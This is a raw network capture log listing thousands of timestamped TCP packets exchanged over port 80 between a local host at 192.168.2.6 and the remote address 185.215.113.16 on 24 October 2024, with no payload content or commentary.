Oct 24, 2024 04:58:14.608418941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608448982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608460903 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608483076 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608505011 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608516932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608545065 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608551979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608568907 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608586073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608607054 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608619928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608630896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608663082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608670950 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608696938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608725071 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608750105 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608758926 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608783960 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608803034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608818054 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608835936 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608849049 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608856916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608899117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608901024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608952999 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.608953953 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.608987093 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609005928 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609025002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609031916 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609061956 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609076977 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609097004 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609112978 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609133005 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609149933 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609185934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609193087 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609230995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609239101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609276056 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609292984 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609308958 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609329939 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609344959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609355927 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609396935 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609461069 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609496117 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609515905 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609529018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.609541893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.609582901 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.646996021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647056103 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647108078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647141933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647173882 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647208929 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647243023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647269964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647269964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647269964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647269964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647298098 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647351027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647384882 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647396088 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647396088 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647397041 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647424936 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647469997 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647525072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647526979 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647561073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647579908 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647593021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647614002 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647629023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647641897 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647665024 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647682905 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647700071 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647715092 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647752047 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647753000 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647805929 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647809982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647844076 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647865057 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647878885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647891998 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647913933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647941113 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647952080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.647959948 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.647985935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.648005009 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.648019075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.648039103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.648062944 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.649624109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.649677038 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.649710894 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.649734974 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.649743080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.649761915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.649780035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.649791956 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.649813890 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.649836063 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.649847984 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.649861097 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.649882078 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.649899960 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.649916887 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.649930954 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.649950981 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.649960995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.649985075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.650001049 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.650018930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.650039911 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.650054932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.650063992 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.650085926 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.650110006 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.650119066 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.650156021 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.650163889 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.650163889 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.650188923 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.650223970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.650230885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.650247097 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.650265932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.650286913 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.650305986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.650307894 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.650338888 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.650358915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.650371075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.650383949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.650422096 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.690412998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.690453053 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.690488100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.690491915 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.690521955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.690537930 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.690537930 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.692066908 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.692102909 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.692123890 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.692137957 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.692159891 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.692186117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695039034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695199013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695233107 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695266962 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695267916 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695297003 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695302963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695332050 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695358038 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695368052 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695393085 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695404053 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695429087 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695441961 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695462942 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695476055 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695499897 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695511103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695534945 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695584059 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695590973 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695626020 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695647001 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695672035 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695678949 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695722103 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695725918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695761919 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695776939 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695796013 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695807934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695833921 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.695843935 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.695878983 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.701212883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.701247931 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.701303005 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.701308012 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.701337099 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.701359987 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.701378107 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.701380014 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.701422930 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.701430082 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.701464891 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.701479912 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.701498985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.701508999 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.701534986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.701541901 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.701579094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.724999905 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725058079 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725090027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725126028 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725126028 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725159883 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725178957 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725225925 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725260019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725281000 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725297928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725308895 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725349903 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725353956 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725406885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725441933 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725462914 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725493908 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725495100 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725533009 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725563049 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725565910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725581884 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725604057 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725620031 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725624084 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725636005 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725650072 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725651026 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725668907 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725670099 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725684881 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725702047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725701094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725701094 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725730896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725730896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725750923 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725759983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725810051 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725816965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725833893 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725850105 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.725881100 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725881100 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.725903034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726285934 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726324081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726351976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726366997 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726383924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726385117 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726402044 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726407051 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726418972 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726428986 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726437092 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726450920 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726457119 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726471901 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726474047 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726491928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726500988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726500988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726510048 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726521969 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726528883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726541042 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726557970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726577997 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726737022 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726754904 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726771116 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.726802111 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.726836920 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.746956110 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747021914 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747076988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747081995 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.747112036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747147083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747159958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.747181892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747189999 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.747215033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747251034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747281075 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.747284889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747533083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747567892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747584105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.747602940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747637033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747652054 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.747670889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747678041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.747704983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747740984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747773886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747788906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.747811079 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.747865915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.748316050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.748387098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764167070 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764224052 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764256954 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764292955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764334917 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764347076 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764372110 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764372110 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764396906 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764447927 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764482975 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764502048 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764518976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764543056 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764549971 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764585018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:14.764625072 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:14.764638901 CEST	80	49996	185.215.113.16	192.168.2.6
